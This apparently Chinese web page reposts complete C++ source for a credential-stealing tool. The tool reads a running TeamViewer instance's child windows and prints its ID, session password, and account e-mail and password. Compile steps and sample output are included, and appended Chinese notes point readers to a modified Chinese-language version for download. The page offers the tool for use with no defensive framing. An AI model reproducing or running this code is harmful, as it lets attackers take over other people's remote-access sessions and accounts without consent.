Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, “kernel32″ )
#pragma comment( lib, “user32″ )
int status = 0;
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = “”;
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
if (status == 1)
{
printf(“%s/n”, BufferContent);
status = 0;
}
if (strstr(BufferContent, “Allow Remote Control”) != NULL)
{
status = 1;
printf(“TeamViewer ID: “);
}
if (strstr(BufferContent, “Please tell your partner”) != NULL)
{
status = 1;
printf(“TeamViewer PASS: “);
}
return 1;
}
BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = “”;
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
if (status == 1)
{
printf(“%s/n”, BufferContent);
status = 0;
}
if (strstr(BufferContent, “E-mail”) != NULL)
{
status = 1;
printf(“E-mail: “);
}
if (strstr(BufferContent, “Password”) != NULL)
{
status = 1;
printf(“Password: “);
}
return 1;
}
int main()
{
HWND hwndTeamViewer = FindWindow(NULL, “TeamViewer”);
if (hwndTeamViewer)
{
EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
}
HWND hwndAccount = FindWindow(NULL, “Computers & Contacts”);
if (hwndAccount)
{
EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
}
return 0;
}
|
1
2
3
4
5
6
|
Compile with CL
cl TeamViewerDump.cpp
or with cl TeamViewerDump.cpp /EHsc
Requirements
TeamViewer must be running
Tested only with English GUI of TeamViewer
|
1
2
3
4
5
6
7
|
C:/tools/Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123
C:/tools/Projects>
|
[via@Konstantinos]
补充1:malayke同学放出了他精心修改的中文版获取工具,大家可以到这个链接下载:下载获取中文版TeamViewer的密码工具
补充2:中文版本已经过本站检测,没有问题,不放心的朋友可以自行虚拟机再度检测。
[中文版作者 via@malayke]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号